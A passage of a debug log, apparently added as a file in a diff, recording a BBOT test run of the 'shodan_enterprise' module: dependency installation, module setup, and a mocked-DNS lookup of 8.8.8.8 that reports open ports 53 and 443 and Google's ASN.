"shodan_enterprise" of type "scan" +2026-03-01 17:08:54,842 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-01 17:08:54,842 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-01 17:08:54,842 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-01 17:08:55,059 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-01 17:08:55,060 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-01 17:08:55,168 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-01 17:08:55,169 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-01 17:08:55,222 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-03-01 17:08:55,225 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-01 17:08:55,226 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-03-01 17:08:55,702 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-01 17:08:55,702 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-01 17:08:58,240 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-03-01 17:08:58,241 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-01 17:08:58,241 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-01 17:09:00,078 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-01 17:09:00,079 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-01 17:09:00,084 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:09:00,085 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-01 17:09:00,085 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:09:00,085 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-01 17:09:00,085 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:09:00,086 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-01 17:09:00,086 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-01 17:09:00,086 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-03-01 17:09:00,087 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-03-01 17:09:00,087 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-01 17:09:00,091 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/bwkfl9xnve3sfzrr0cf6 +2026-03-01 17:09:00,861 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-03-01 17:09:00,862 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-01 17:09:00,863 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-03-01 17:09:00,981 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-03-01 17:09:00,981 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-01 17:09:00,981 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-03-01 17:09:00,983 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-03-01 17:09:00,983 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-03-01 17:09:00,983 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-01 17:09:00,983 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-03-01 17:09:00,984 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-03-01 17:09:00,984 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-01 17:09:00,985 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-03-01 17:09:00,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-01 17:09:00,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-01 17:09:00,985 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-01 17:09:00,986 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-01 17:09:00,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-01 17:09:00,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-01 17:09:00,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-01 17:09:00,986 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-01 17:09:00,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-01 17:09:00,986 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-01 17:09:00,987 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-01 17:09:00,987 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-01 17:09:00,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-01 17:09:00,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-01 17:09:00,987 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-01 17:09:00,988 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-01 17:09:00,988 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-01 17:09:00,988 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-01 17:09:00,988 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-01 17:09:00,988 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-01 17:09:00,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-01 17:09:00,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-01 17:09:00,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-01 17:09:00,989 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-01 17:09:00,989 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 17:09:00,990 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 17:09:00,991 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 17:09:00,991 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 17:09:00,991 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 17:09:00,991 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 17:09:00,992 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 17:09:01,143 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_0tq08qn6c7 +2026-03-01 17:09:01,143 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 17:09:01,250 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 17:09:01,251 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 17:09:01,251 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 17:09:01,252 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 17:09:01,354 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:09:01,355 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:09:01,356 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:09:01,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-03-01 17:09:01,357 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-01 17:09:01,359 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:09:01,359 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:09:01,360 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-01 17:09:01,361 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:09:01,362 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:09:01,362 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 17:09:01,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-01 17:09:01,363 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 17:09:01,364 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 17:09:01,364 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 17:09:01,371 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 17:09:01,371 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-01 17:09:01,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 17:09:01,372 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 17:09:01,373 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-03-01 17:09:01,373 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-03-01 17:09:01,374 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-03-01 17:09:01,374 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-01 17:09:01,374 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 17:09:01,470 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-01 17:09:01,471 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 17:09:01,471 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:7709d9f106f4a023e2b269dc06c7721279a58f30', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 17:09:01,472 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-03-01 17:09:01,472 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-01 17:09:01,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,473 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,474 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:09:01,474 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,475 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,475 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,476 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,477 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,477 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:09:01,478 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,478 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:09:01,479 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:09:01,479 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,480 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,480 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,481 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,481 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,482 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:09:01,482 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,483 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,483 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,484 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 17:09:01,484 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:09:01,485 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 17:09:01,485 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,485 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:09:01,486 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,486 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,487 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,487 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,488 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,488 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,489 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:09:01,489 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:09:01,489 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:09:01,490 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,490 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 17:09:01,491 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 17:09:01,491 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,492 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,492 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 17:09:01,493 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 17:09:01,574 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:09:01,574 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,574 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:09:01,575 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,575 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 17:09:01,575 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 17:09:01,576 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 17:09:01,576 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 17:09:01,577 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 17:09:01,577 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 17:09:01,578 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 17:09:01,578 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 17:09:01,579 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 17:09:01,579 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 17:09:01,579 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 17:09:01,579 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 17:09:01,680 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 17:09:01,681 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 17:09:01,699 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 17:09:01,700 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 17:09:01,700 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 17:09:01,707 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 17:09:01,708 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 17:09:01,708 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 17:09:01,709 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 17:09:01,710 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 17:09:01,711 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 17:09:01,824 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_0tq08qn6c7 completed in 0 seconds with status FINISHED +2026-03-01 17:09:01,824 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 